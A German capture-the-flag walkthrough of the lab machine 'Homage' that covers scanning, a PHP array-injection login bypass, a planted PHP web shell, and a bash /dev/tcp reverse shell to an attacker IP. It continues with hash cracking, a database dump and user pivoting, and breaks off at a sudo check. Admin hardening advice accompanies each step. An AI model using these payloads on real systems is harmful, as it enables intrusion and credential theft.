192.168.2.114 08:00:27:c5:c5:12 PCS Systemtechnik GmbH
Analyse: Der Befehl `arp-scan -l` wird im lokalen Netzwerk ausgeführt, um aktive Geräte mittels ARP-Anfragen zu finden.
Bewertung: Die IP-Adresse des Ziels wurde als 192.168.2.114 identifiziert. Die MAC-Adresse und der Hersteller (PCS Systemtechnik GmbH) deuten wie üblich auf eine VirtualBox-VM hin. Dies ist der grundlegende erste Schritt zur Zielidentifikation.
Empfehlung (Pentester): Die identifizierte IP 192.168.2.114 ist das Ziel für nachfolgende Scans (Nmap, Gobuster etc.).
Empfehlung (Admin): Überwachung der aktiven Geräte im Netzwerk. Netzwerksegmentierung kann die Reichweite solcher Scans begrenzen.
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-07 23:56 CET Nmap scan report for webmaster.hmv (192.168.2.114) Host is up (0.00012s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 0c3f13546e6ee656d291ebad9536c68d (RSA) | 256 9be68e14397a17a38088cd772ec33b1a (ECDSA) |_ 256 855a052a4bc0b236ea8ae28ab2efbcdf (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-title: Password protected page |_http-server-header: Apache/2.4.38 (Debian) MAC Address: 08:00:27:C5:C5:12 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.12 ms webmaster.hmv (192.168.2.114) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 16.53 seconds
Analyse: Ein umfassender Nmap-Scan (`-sS` SYN-Scan, `-sC` Standard-Skripte, `-T5` schnelles Timing, `-A` Aggressive Optionen inkl. Version/OS-Detektion, `-p-` alle Ports) wird auf das Ziel 192.168.2.114 durchgeführt.
Bewertung: Der Scan identifiziert zwei offene Ports: * **Port 22 (SSH):** OpenSSH 7.9p1 auf Debian 10. Ein Standardzugangspunkt. * **Port 80 (HTTP):** Apache 2.4.38 auf Debian. Besonders auffällig ist der Titel der Seite: `Password protected page`. Dies ist ein sehr starker Hinweis auf eine Web-Authentifizierung als primären Angriffsvektor. Der Hostname `webmaster.hmv` wird ebenfalls erkannt. Die Angriffsfläche scheint auf den ersten Blick kleiner als bei der vorherigen Maschine zu sein, aber der Webserver ist klar das Hauptziel.
Empfehlung (Pentester):
1. **HTTP (Port 80):** Fokussieren Sie sich auf die Webanwendung. Untersuchen Sie die Passwort-Authentifizierung auf der Seite. Führen Sie Directory/File-Busting durch (z.B. mit Gobuster, ffuf). Fügen Sie `webmaster.hmv` zur lokalen `/etc/hosts`-Datei hinzu.
2. **SSH (Port 22):** Halten Sie dies als sekundären Vektor bereit, falls über die Webanwendung Benutzernamen und/oder Passwörter erlangt werden.
Empfehlung (Admin): Stellen Sie sicher, dass die Web-Authentifizierung robust ist (keine schwachen Passwörter, Schutz vor Brute-Force, keine Umgehungsmechanismen). Aktualisieren Sie Apache und OpenSSH. Beschränken Sie den SSH-Zugriff (Schlüssel, IP-Filter).
- Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 192.168.2.114 + Target Hostname: 192.168.2.114 + Target Port: 80 + Start Time: 2022-11-07 23:57:12 (GMT1) --------------------------------------------------------------------------- + Server: Apache/2.4.38 (Debian) + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + No CGI Directories found (use '-C all' to force check all possible dirs) + Web Server returns a valid response with junk HTTP methods, this may cause false positives. + OSVDB-3233: /icons/README: Apache default file found. + 7915 requests: 0 error(s) and 5 item(s) reported on remote host + End Time: 2022-11-07 23:58:38 (GMT1) (86 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: Das Tool `nikto` wird verwendet, um einen grundlegenden Webserver-Schwachstellen-Scan gegen Port 80 durchzuführen.
Bewertung: Nikto meldet hauptsächlich informative Ergebnisse: * Fehlende HTTP-Sicherheitsheader (`X-Frame-Options`, `X-XSS-Protection`, `X-Content-Type-Options`). Dies sind gängige Best-Practice-Empfehlungen, stellen aber selten eine direkte Schwachstelle dar. * Eine Apache-Standarddatei (`/icons/README`) wurde gefunden, was auf eine Standardkonfiguration hindeutet. Insgesamt liefert Nikto hier keine kritischen Schwachstellen, bestätigt aber die Apache-Version.
Empfehlung (Pentester): Die fehlenden Header zur Kenntnis nehmen, falls später clientseitige Angriffe (wie XSS) relevant werden. Der Fokus bleibt auf der Authentifizierung.
Empfehlung (Admin): Implementieren Sie die empfohlenen HTTP-Sicherheitsheader, um die allgemeine Sicherheit der Webanwendung zu erhöhen (Schutz vor Clickjacking, bestimmten XSS-Varianten, MIME-Sniffing).
[...] http://192.168.2.114/.php (Status: 403) [Size: 278] http://192.168.2.114/index.php (Status: 200) [Size: 1886] http://192.168.2.114/.html (Status: 403) [Size: 278] http://192.168.2.114/.htm (Status: 403) [Size: 278] http://192.168.2.114/.phtml (Status: 403) [Size: 278] http://192.168.2.114/secret.php (Status: 200) [Size: 221] [...]
Analyse: `gobuster` wird eingesetzt, um Verzeichnisse und Dateien auf dem Webserver zu finden. Es wird eine umfangreiche Liste an Dateiendungen (`-x`) und eine Standard-Wortliste (`directory-list-2.3-medium.txt`) verwendet.
Bewertung: Gobuster identifiziert zwei relevante PHP-Dateien: `index.php` (die wahrscheinliche Login-Seite, Status 200) und `secret.php` (Status 200). Der Fund von `secret.php` ist besonders interessant. Die 403-Fehler für Dateien, die mit einem Punkt beginnen, sind erwartetes Verhalten.
Empfehlung (Pentester):
1. `index.php` im Browser aufrufen und die Login-Maske untersuchen.
2. `secret.php` im Browser aufrufen und prüfen, welchen Inhalt oder welche Funktionalität sie bietet.
Empfehlung (Admin): Sicherstellen, dass keine unnötigen oder sensiblen Dateien wie `secret.php` öffentlich zugänglich sind, es sei denn, sie sind Teil der beabsichtigten Funktionalität und entsprechend gesichert.
Analyse (Burp Suite / Login Bypass): Der Bericht beschreibt eine Aktion, die typischerweise mit einem Intercepting Proxy wie Burp Suite durchgeführt wird. Ein normaler Login-Versuch (z.B. `login=ben&password=cscs`) wird abgefangen. Die Parameter werden modifiziert, indem eckige Klammern `[]` an die Parameternamen angehängt werden (`login[]=ben&password[]=cscs`). Diese modifizierte Anfrage wird dann an den Server weitergeleitet.
Bewertung: Diese Technik, Parameter in Arrays umzuwandeln, ist ein bekannter Trick, um schwache PHP-Authentifizierungsprüfungen zu umgehen. Viele einfache Vergleiche (z.B. `if ($_POST['password'] == $correct_password)`) können fehlschlagen oder unerwartet `true` zurückgeben, wenn statt eines Strings ein Array übergeben wird. Die Tatsache, dass dies zum Erfolg führte (wie im nächsten Schritt ersichtlich), bestätigt eine kritische Schwachstelle in der Authentifizierung von `index.php`.
Empfehlung (Pentester): Diese Array-Injection-Technik sollte bei allen Web-Login-Formularen getestet werden, insbesondere bei solchen, die in PHP implementiert sind.
Empfehlung (Admin): Die Authentifizierungslogik in `index.php` dringend überarbeiten. Eingabedaten serverseitig strikt validieren (Typ, Länge, Format). Verwenden Sie sichere Vergleichsmethoden (z.B. `hash_equals()` für Passwort-Hashes) und prüfen Sie den Datentyp, bevor Sie Vergleiche durchführen. Frameworks oder Bibliotheken nutzen, die solche Angriffe standardmäßig verhindern.
Original Request Parameter:
login=ben&password=cscs
Modified Request Parameter (Array Injection):
login[]=ben&password[]=cscs
Analyse (Ergebnis des Login Bypass): Nach dem Absenden der modifizierten Anfrage mit den Array-Parametern wurde offenbar eine Seite geladen, die "Access codes" enthielt.
Bewertung: Der Login-Bypass war erfolgreich! Die Anwendung hat die ungültige Eingabe akzeptiert und interne Informationen preisgegeben. Es wurden Zugangsdaten gefunden: Benutzer `l4nr3n` mit dem Passwort `thisVMsuckssomuchL0L`. Dies stellt den initialen Zugriff auf das System dar.
Empfehlung (Pentester): Die gefundenen Zugangsdaten (`l4nr3n` / `thisVMsuckssomuchL0L`) sofort verwenden, um sich per SSH (Port 22) auf dem Zielsystem anzumelden.
Empfehlung (Admin): Die Login-Bypass-Schwachstelle sofort beheben (siehe vorherige Empfehlung). Das Passwort für `l4nr3n` ändern. Überprüfen, warum sensible Zugangsdaten nach dem Login angezeigt werden.
Access codes : l4nr3n:thisVMsuckssomuchL0L This page is for HMV staff only. Please remember to visit it regularly as access codes are changed weekly. HMV thanks you for visiting.
The authenticity of host 'homage.hmv (192.168.2.114)' can't be established.
ED25519 key fingerprint is SHA256:2b+kTRKlx4qeMsfce+AHPgi/ReUzFfLnFbNEPBAg4uk.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'homage.hmv' (ED25519) to the list of known hosts.
l4nr3n@homage.hmv's password: [Passwort hier eingegeben: thisVMsuckssomuchL0L]
Linux homage 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc//copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Jun 8 12:52:39 2021 from 192.168.0.28
l4nr3n@homage:~$
Analyse: Eine SSH-Verbindung wird zum Zielhost (unter Verwendung des Hostnamens `homage.hmv`, der vermutlich vorher zur `/etc/hosts` hinzugefügt wurde) als Benutzer `l4nr3n` initiiert. Das zuvor gefundene Passwort wird eingegeben.
Bewertung: Der SSH-Login war erfolgreich. Wir haben nun eine interaktive Shell auf dem Zielsystem als Benutzer `l4nr3n`. Der initiale Zugriff ist gesichert.
Empfehlung (Pentester): Beginnen Sie mit der lokalen Enumeration als Benutzer `l4nr3n`. Überprüfen Sie `sudo -l`, durchsuchen Sie das Home-Verzeichnis, listen Sie Prozesse auf, suchen Sie nach SUID/GUID-Dateien etc.
Empfehlung (Admin): Überwachen Sie SSH-Logins. Verwenden Sie nach Möglichkeit SSH-Schlüssel statt Passwörter. Stellen Sie sicher, dass Benutzer nur die minimal notwendigen Rechte haben.
[sudo] password for l4nr3n: [Passwort hier eingegeben: thisVMsuckssomuchL0L] Sorry, user l4nr3n may not run sudo on homage.
Analyse: Der Befehl `sudo -l` wird ausgeführt, um zu prüfen, ob der Benutzer `l4nr3n` irgendwelche Befehle mit erhöhten Rechten über `sudo` ausführen darf.
Bewertung: Der Benutzer `l4nr3n` hat keine `sudo`-Berechtigungen. Dies ist ein normaler erster Check während der Privilege Escalation.
Empfehlung (Pentester): Suchen Sie nach anderen Wegen zur Rechteausweitung, z.B. SUID/GUID-Binaries, Fehlkonfigurationen, ausnutzbare Cronjobs, Kernel-Exploits (weniger wahrscheinlich in CTFs).
Empfehlung (Admin): Das Prinzip der geringsten Rechte wurde hier für `sudo` korrekt angewendet.
total 28 drwx------ 4 l4nr3n l4nr3n 4096 Jun 8 2021 . drwxr-xr-x 6 root root 4096 Jun 8 2021 .. lrwxrwxrwx 1 root root 9 Jun 8 2021 .bash_history -> /dev/null -rw-r--r-- 1 l4nr3n l4nr3n 220 Jun 5 2021 .bash_logout -rw-r--r-- 1 l4nr3n l4nr3n 3526 Jun 5 2021 .bashrc drwx------ 3 l4nr3n l4nr3n 4096 Jun 8 2021 .gnupg drwxr-xr-x 3 l4nr3n l4nr3n 4096 Jun 8 2021 .local -rw-r--r-- 1 l4nr3n l4nr3n 807 Jun 5 2021 .profile
d4t4s3c l4nr3n sml softy_hack
Analyse: Das Home-Verzeichnis des aktuellen Benutzers `l4nr3n` wird aufgelistet (`ls -la`). Anschließend werden die Verzeichnisse aller Benutzer in `/home` aufgelistet (`ls /home/`).
Bewertung: Im Home-Verzeichnis von `l4nr3n` finden sich Standard-Konfigurationsdateien. Interessant ist der symbolische Link `.bash_history -> /dev/null`, der verhindert, dass die Befehlshistorie gespeichert wird. Die Auflistung von `/home` zeigt die Existenz weiterer Benutzer: `d4t4s3c`, `sml`, `softy_hack`. Diese könnten Ziele für Lateral Movement sein.
Empfehlung (Pentester): Untersuchen Sie die Berechtigungen der Home-Verzeichnisse der anderen Benutzer. Suchen Sie nach Konfigurationsdateien (z.B. in `.local`, `.gnupg`) oder anderen ungewöhnlichen Dateien. Prüfen Sie, ob Informationen über diese Benutzer im Webserver-Verzeichnis oder anderen öffentlich zugänglichen Bereichen zu finden sind.
Empfehlung (Admin): Stellen Sie sicher, dass die Berechtigungen für Home-Verzeichnisse korrekt gesetzt sind (normalerweise nicht für andere Benutzer lesbar). Überwachen Sie die Erstellung verdächtiger Symlinks wie den für `.bash_history`.
total 28 drwxr-xrwx 3 www-data www-data 4096 Jun 8 2021 . drwxr-xr-x 4 www-data www-data 4096 Jun 8 2021 .. -rw-r--r-- 1 www-data www-data 5208 Jun 4 2021 hmv.jpg drwx------ 2 www-data www-data 4096 Jun 8 2021 HMV_old_archives -rw-r--r-- 1 www-data www-data 1886 Jun 8 2021 index.php -rw-r--r-- 1 www-data www-data 784 Jun 8 2021 secret.php
Analyse: Der Inhalt des Web-Stammverzeichnisses `/var/www/html` wird aufgelistet.
Bewertung: Das Verzeichnis `/var/www/html` ist für "others" lesbar und ausführbar (`r-x`), aber nicht schreibbar. Es gehört dem Benutzer `www-data` und der Gruppe `www-data`. Die Berechtigungen für das Verzeichnis selbst (`.`) sind jedoch `drwxr-xrwx`, was bedeutet, dass *jeder* Benutzer Dateien in diesem Verzeichnis erstellen oder löschen kann (wegen `w` für `others`). Dies ist eine gefährliche Fehlkonfiguration. Die Dateien `index.php` und `secret.php` sind bestätigt. Das Verzeichnis `HMV_old_archives` ist ebenfalls vorhanden.
Empfehlung (Pentester): Aufgrund der unsicheren Berechtigungen (`rwx` für `others`) auf `/var/www/html` kann der Benutzer `l4nr3n` eine Web-Shell oder andere Skripte dort platzieren. Dies ist ein möglicher Weg, um Befehle als `www-data` auszuführen.
Empfehlung (Admin): Korrigieren Sie dringend die Berechtigungen für `/var/www/html`. Sie sollten restriktiver sein, z.B. `drwxr-xr-x` (755). Niemals Schreibrechte für `others` im Web-Root gewähren. Der Eigentümer sollte der Webserver-Benutzer (`www-data`) sein.
Analyse: Der Benutzer `l4nr3n` nutzt die Schreibrechte im Web-Root, um mit `nano` (oder einem anderen Editor) eine Datei namens `shell.php` zu erstellen. Diese enthält einen einfachen PHP-Code, der den Wert des GET-Parameters `cmd` als Systembefehl ausführt.
Bewertung: Eine einfache, aber effektive Web-Shell wurde erfolgreich im Web-Root platziert. Dies ermöglicht die Ausführung von beliebigen Befehlen auf dem Server mit den Rechten des Webserver-Benutzers (`www-data`) durch Aufrufen der URL `http://192.168.2.114/shell.php?cmd=...`.
Empfehlung (Pentester): Nutzen Sie die Web-Shell, um das System als `www-data` zu erkunden. Versuchen Sie, eine interaktive Reverse Shell zu bekommen, um die Arbeit zu erleichtern. Untersuchen Sie das Verzeichnis `HMV_old_archives`.
Empfehlung (Admin): Korrigieren Sie die Berechtigungen für `/var/www/html`. Überwachen Sie das Web-Root auf verdächtige Dateien. Implementieren Sie File Integrity Monitoring (FIM).
1.html 10.html 100.html 101.html 102.html 103.html 104.html 105.html 106.html 107.html 108.html 109.html 11.html 110.html 111.html 112.html 113.html 114.html 115.html 116.html 117.html 118.html 119.html 12.html 120.html 121.html 122.html 123.html 124.html 125.html 126.html 127.html 128.html 129.html 13.html 130.html 131.html 132.html 133.html 134.html 135.html 136.html 137.html 138.html 139.html 14.html 140.html 141.html 142.html 143.html 144.html 145.html 146.html 147.html 148.html 149.html 15.html 150.html 151.html 152.html 153.html 154.html 155.html 156.html 157.html 158.html 159.html 16.html 160.html 161.html 162.html 163.html 164.html 165.html 166.html 167.html 168.html 169.html 17.html 170.html 171.html 172.html 173.html 174.html 175.html 176.html 177.html 178.html 179.html 18.html 180.html 181.html 182.html 183.html 184.html 185.html 186.html 187.html 188.html 189.html 19.html 190.html 191.html 192.html 193.html 194.html 195.html 196.html 197.html 198.html 199.html 2.html 20.html 200.html 21.html 22.html 23.html 24.html 25.html 26.html 27.html 28.html 29.html 3.html 30.html 31.html 32.html 33.html 34.html 35.html 36.html 37.html 38.html 39.html 4.html 40.html 41.html 42.html 43.html 44.html 45.html 46.html 47.html 48.html 49.html 5.html 50.html 51.html 52.html 53.html 54.html 55.html 56.html 57.html 58.html 59.html 6.html 60.html 61.html 62.html 63.html 64.html 65.html 66.html 67.html 68.html 69.html 7.html 70.html 71.html 72.html 73.html 74.html 75.html 76.html 77.html 78.html 79.html 8.html 80.html 81.html 82.html 83.html 84.html 85.html 86.html 87.html 88.html 89.html 9.html 90.html 91.html 92.html 93.html 94.html 95.html 96.html 97.html 98.html 99.html index.html
Analyse: Über die zuvor erstellte Web-Shell (`shell.php`) wird der Befehl `ls HMV_old_archives` ausgeführt, um den Inhalt dieses Verzeichnisses aufzulisten.
Bewertung: Das Verzeichnis enthält eine große Anzahl von HTML-Dateien (nummeriert von 1 bis 200 sowie eine `index.html`). Dies ist ein starker Hinweis darauf, dass in diesen Dateien Informationen versteckt oder verteilt sind.
Empfehlung (Pentester): Verwenden Sie die Web-Shell oder holen Sie sich eine Reverse Shell als `www-data`, um diese Dateien systematisch zu analysieren. Suchen Sie nach Mustern, Kommentaren oder spezifischen Datenfragmenten (z.B. Passwort-Hashes, Benutzernamen). Ein Skript zur Automatisierung der Analyse ist wahrscheinlich erforderlich.
Empfehlung (Admin): Entfernen Sie alte oder nicht mehr benötigte Archivdateien vom Webserver. Sensible Daten sollten niemals in öffentlich zugänglichen Dateien gespeichert werden.
listening on [any] 9001 ...
Analyse: Auf dem Angreifer-System wird ein Netcat-Listener auf Port 9001 gestartet. Anschließend wird über die Web-Shell (`shell.php`) ein URL-kodierter Bash-Reverse-Shell-Befehl ausgeführt. Dieser Befehl (`/bin/bash -c 'bash -i >& /dev/tcp/192.168.2.121/9001 0>&1'`) soll eine interaktive Bash-Shell starten und deren Ein-/Ausgabe zum Listener des Angreifers (IP 192.168.2.121) umleiten.
Bewertung: Dies ist der Versuch, von der einfachen Web-Shell zu einer stabileren, interaktiven Reverse Shell als `www-data` zu gelangen.
Empfehlung (Pentester): Sicherstellen, dass die IP-Adresse des Listeners (hier 192.168.2.121) korrekt ist. Nach erfolgreicher Verbindung die Shell ggf. stabilisieren (z.B. mit Python PTY).
Empfehlung (Admin): Verhindern Sie, dass der Webserver-Prozess ausgehende Netzwerkverbindungen initiieren kann (Egress Filtering). Überwachen Sie Prozesse auf verdächtige Aktivitäten wie das Starten von Shells oder Netzwerktools.
listening on [any] 9001 ...
connect to [192.168.2.121] from (UNKNOWN) [192.168.2.114] 42012
bash: cannot set terminal process group (510): Inappropriate ioctl for device
bash: no job control in this shell
www-data@homage:/var/www/html$
Analyse: Der Netcat-Listener empfängt erfolgreich die Verbindung vom Zielsystem (192.168.2.114). Die typischen Meldungen für eine einfache Reverse Shell (`cannot set terminal...`, `no job control...`) erscheinen.
Bewertung: Der Angreifer hat nun eine interaktive Shell auf dem Zielsystem als Benutzer `www-data`.
Empfehlung (Pentester): Die Shell ggf. stabilisieren. Nun können die HTML-Dateien im Verzeichnis `HMV_old_archives` direkt auf dem Zielsystem untersucht werden.
Empfehlung (Admin): Siehe vorherige Empfehlungen zur Verhinderung von Reverse Shells.
2936c8f11778816cdcf43daa907a339f 2498f643455f5463f2ab0f422f795ad6 308b38ae3c2769cdbaacf4e1017b5d88 79498aa4b60bd560d6c9b64c4550288d 1bdf20c863b15a85057e643585ed872c 4bd9757b975222ba790660cda002fb30 b1a695464d496b4f57e41949b2639278 f61a7724c4cbe67bc7b2a878759f5641 f2404f17b9cfaa82bc8fa0a73462ff6c 6f0828589e9b5923bf85a58a16a6bf10 62741548dd175d4602c27a9109039549 d9c2f4f1a4daa284ac368ee0b4498c28 60baf1dbe47051e7170f40db791a70c9 06d47ad1293a978d892c58d1376ef011 4cc25f05582a1d313a4f71551938d72e 2493e311bd596738f6e7c0179dc13ce2 91fb7ea6c76b087b53068d91195948c8
Analyse: Als Benutzer `www-data` im Verzeichnis `/var/www/html/HMV_old_archives` wird eine `for`-Schleife ausgeführt. Diese iteriert über alle Dateien im aktuellen Verzeichnis (`ls`), extrahiert jeweils die letzte Zeile (`tail -n 1`) und gibt davon das erste Wort/Feld aus (`awk '{print $1}'`).
Bewertung: Die Schleife extrahiert erfolgreich eine Liste von Zeichenketten, bei denen es sich höchstwahrscheinlich um MD5-Passwort-Hashes handelt, die systematisch in den HTML-Dateien gespeichert wurden.
Empfehlung (Pentester): Kopieren Sie diese Hash-Liste und versuchen Sie, sie mit Online-Diensten (wie Crackstation) oder Offline-Tools (John the Ripper, Hashcat) und gängigen Wortlisten zu knacken.
Empfehlung (Admin): Entfernen Sie diese alten Dateien. Implementieren Sie Prozesse, um sicherzustellen, dass sensible Daten nicht in Web-Archiven landen.
^
https://crackstation.net/
06d47ad1293a978d892c58d1376ef011 Unknown Not found.
4cc25f05582a1d313a4f71551938d72e Unknown Not found.
2493e311bd596738f6e7c0179dc13ce2 Unknown Not found.
91fb7ea6c76b087b53068d91195948c8 md5 1passwordonly
Analyse: Die extrahierten Hashes wurden bei Crackstation eingereicht. Der Dienst konnte einen der Hashes knacken.
Bewertung: Der Hash `91fb7ea6c76b087b53068d91195948c8` entspricht dem Passwort `1passwordonly`. Dies ist ein wichtiges Passwort, das wahrscheinlich für einen der anderen Benutzer auf dem System (`d4t4s3c`, `sml`, `softy_hack`) gültig ist.
Empfehlung (Pentester): Versuchen Sie, sich mit dem Passwort `1passwordonly` per SSH bei den Benutzern `d4t4s3c`, `sml` und `softy_hack` anzumelden.
Empfehlung (Admin): Erzwingen Sie starke, einzigartige Passwörter. Überwachen Sie Systeme auf schwache oder kompromittierte Anmeldeinformationen.
softy_hack@homage.hmv's password: [Passwort hier eingegeben: 1passwordonly]
Linux homage 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc//copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Jun 8 12:56:19 2021 from 192.168.0.28
softy_hack@homage:~$
Analyse: Es wird versucht, sich per SSH als Benutzer `softy_hack` mit dem geknackten Passwort `1passwordonly` anzumelden.
Bewertung: Der Login war erfolgreich! Der Angreifer hat nun eine Shell als Benutzer `softy_hack`. Dies ist ein weiterer Schritt im Lateral Movement / Privilege Escalation.
Empfehlung (Pentester): Führen Sie als `softy_hack` lokale Enumeration durch. Prüfen Sie `sudo -l`, Datenbankzugriffe, SUID/GUID-Dateien, etc.
Empfehlung (Admin): Stellen Sie sicher, dass Benutzerkonten individuelle, starke Passwörter haben. Überwachen Sie verdächtige Anmeldeaktivitäten.
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port
udp UNCONN 0 0 0.0.0.0:bootpc 0.0.0.0:* ino:13801 sk:1 <->
tcp LISTEN 0 80 127.0.0.1:mysql 0.0.0.0:* uid:106 ino:14815 sk:2 <->
tcp LISTEN 0 128 0.0.0.0:ssh 0.0.0.0:* ino:14215 sk:3 <->
tcp LISTEN 0 128 *:http *:* ino:14632 sk:4 v6only:0 <->
tcp LISTEN 0 128 [::]:ssh [::]:* ino:14226 sk:5 v6only:1 <->
Analyse: Der Befehl `ss -tulpe` wird ausgeführt, um die Netzwerk-Listener auf dem System anzuzeigen.
Bewertung: Es wird bestätigt, dass ein MySQL/MariaDB-Dienst auf dem Loopback-Interface (`127.0.0.1`) auf dem Standardport 3306 (`mysql`) lauscht. Die UID 106 (oft `mysql` oder ein ähnlicher Dienstbenutzer) ist mit dem Socket verbunden. Außerdem sind SSH und HTTP aktiv.
Empfehlung (Pentester): Versuchen Sie, sich mit dem lokalen MySQL-Dienst zu verbinden. Oft haben Benutzer des Systems auch Datenbankkonten mit demselben Benutzernamen und/oder Passwort. Testen Sie `mysql -u softy_hack -p` mit dem Passwort `1passwordonly`.
Empfehlung (Admin): Es ist eine gute Praxis, Datenbankdienste nur auf dem Loopback-Interface lauschen zu lassen, wenn kein externer Zugriff benötigt wird. Stellen Sie sicher, dass die Datenbank-Authentifizierung sicher ist (keine Standardpasswörter, starke individuelle Passwörter).
Enter password: [Passwort hier eingegeben: 1passwordonly]
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 38
Server version: 10.3.27-MariaDB-0+deb10u1 Debian 10
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]>
Analyse: Es wird versucht, sich mit dem MySQL/MariaDB-Client als Datenbankbenutzer `softy_hack` anzumelden, wobei das Systempasswort `1passwordonly` verwendet wird.
Bewertung: Der Login war erfolgreich! Dies bestätigt, dass der Systembenutzer `softy_hack` auch ein Datenbankbenutzer mit demselben Passwort ist. Der Angreifer hat nun Zugriff auf die Datenbank.
Empfehlung (Pentester): Enumerieren Sie die Datenbank: `show databases;`, `use
Empfehlung (Admin): Vermeiden Sie die Wiederverwendung von Systempasswörtern für Datenbankkonten. Verwenden Sie separate, starke Passwörter für Datenbankbenutzer. Beschränken Sie die Berechtigungen von Datenbankbenutzern auf das notwendige Minimum.
+--------------------+ | Database | +--------------------+ | hmv_db | | information_schema | | mysql | | performance_schema | +--------------------+
Database changed
+------------------+ | Tables_in_hmv_db | +------------------+ | hmv_blog | | hmv_comments | | hmv_discord | | hmv_faq | | hmv_leaderboard | | hmv_machines | | hmv_palique | | hmv_posts | | hmv_submit | | hmv_trophies | | hmv_usermeta | | hmv_users | +------------------+
+----+------------+------------------------------------+---------------+--------------------+-------------------------+---------------------+-----------------------------------------------+-------------+--------------+ | ID | user_login | user_pass | user_nicename | user_email | user_url | user_registered | user_activation_key | user_status | display_name | +----+------------+------------------------------------+---------------+--------------------+-------------------------+---------------------+-----------------------------------------------+-------------+--------------+ | 1 | cromiphi | $P$BqUC2qSvJeqAm74VV8DlZ1igVSXb3Q. | cromiphi | cromiphi@gmail.com | http://target/wordpress | 2021-06-05 08:13:50 | | 0 | cromiphi | | 2 | d4t4s3c | $P$BRibz10RghJBstfw7PW7QKxtFRC7d/. | d4t4s3c | d4t4s3c@gmail.com | | 2021-06-05 08:14:44 | 1622880885:$P$BM6p.x83qabQZNs.O1w4dCzTBs7jeD/ | 0 | d4t4s3c | +----+------------+------------------------------------+---------------+--------------------+-------------------------+---------------------+-----------------------------------------------+-------------+--------------+
Analyse: Innerhalb der MySQL/MariaDB-Shell werden die Datenbanken aufgelistet, die Datenbank `hmv_db` ausgewählt, deren Tabellen angezeigt und schließlich der Inhalt der Tabelle `hmv_users` abgefragt.
Bewertung: Die Tabelle `hmv_users` enthält Benutzernamen (`cromiphi`, `d4t4s3c`) und deren Passwort-Hashes. Die Hashes (`$P$B...`) sind im phpass-Format (oft von WordPress oder ähnlichen PHP-Anwendungen verwendet). Der Hash für den Benutzer `d4t4s3c` ist besonders interessant, da `d4t4s3c` auch als Systembenutzer existiert.
Empfehlung (Pentester): Extrahieren Sie den Hash für `d4t4s3c` (`$P$BRibz10RghJBstfw7PW7QKxtFRC7d/.`) und versuchen Sie, ihn mit John the Ripper oder Hashcat unter Verwendung des Formats `phpass` oder `WordPress` und einer Wortliste wie `rockyou.txt` zu knacken.
Empfehlung (Admin): Speichern Sie Passwörter in Datenbanken mit modernen, starken Hashing-Algorithmen (z.B. bcrypt, Argon2) und individuellen Salts. Aktualisieren Sie Anwendungen (wie WordPress), um sicherere Hashing-Methoden zu verwenden.
Using default input encoding: UTF-8
Loaded 1 password hash (phpass [phpass ($P$ or $H$) 256/256 AVX2 8x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 12 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
jaredlee (?)
1g 0:00:00:01 DONE (2022-11-08 00:36) 0.5025g/s 101306p/s 101306c/s 101306C/s jasonpaul..godogs1
Use the "--show --format=phpass" options to display all of the cracked passwords reliably
Session completed.
Analyse: Der aus der Datenbank extrahierte phpass-Hash für den Benutzer `d4t4s3c` wird in eine Datei namens `hash` geschrieben. Anschließend wird John the Ripper mit der Wortliste `rockyou.txt` darauf angesetzt.
Bewertung: John the Ripper knackt den Hash erfolgreich! Das Passwort für den Benutzer `d4t4s3c` lautet `jaredlee`.
Empfehlung (Pentester): Wechseln Sie mit `su d4t4s3c` und dem Passwort `jaredlee` zum Benutzer `d4t4s3c`. Dieser Benutzer könnte höhere Privilegien oder andere Zugriffsrechte haben.
Empfehlung (Admin): Erzwingen Sie starke, nicht in Wortlisten enthaltene Passwörter. Überwachen Sie regelmäßig die Stärke der verwendeten Passwörter.
Password: [Passwort hier eingegeben: jaredlee]
Analyse: Es wird versucht, vom Benutzer `softy_hack` zum Benutzer `d4t4s3c` zu wechseln, indem das gerade geknackte Passwort `jaredlee` verwendet wird.
Bewertung: Der Benutzerwechsel war erfolgreich. Der Angreifer agiert nun als Benutzer `d4t4s3c`.
Empfehlung (Pentester): Überprüfen Sie sofort die `sudo`-Berechtigungen für `d4t4s3c` mit `sudo -l`. Führen Sie weitere lokale Enumeration durch.
Empfehlung (Admin): Stellen Sie sicher, dass Benutzerkonten individuelle Passwörter haben und das Prinzip der geringsten Rechte angewendet wird.
Matching Defaults entries for d4t4s3c on homage:
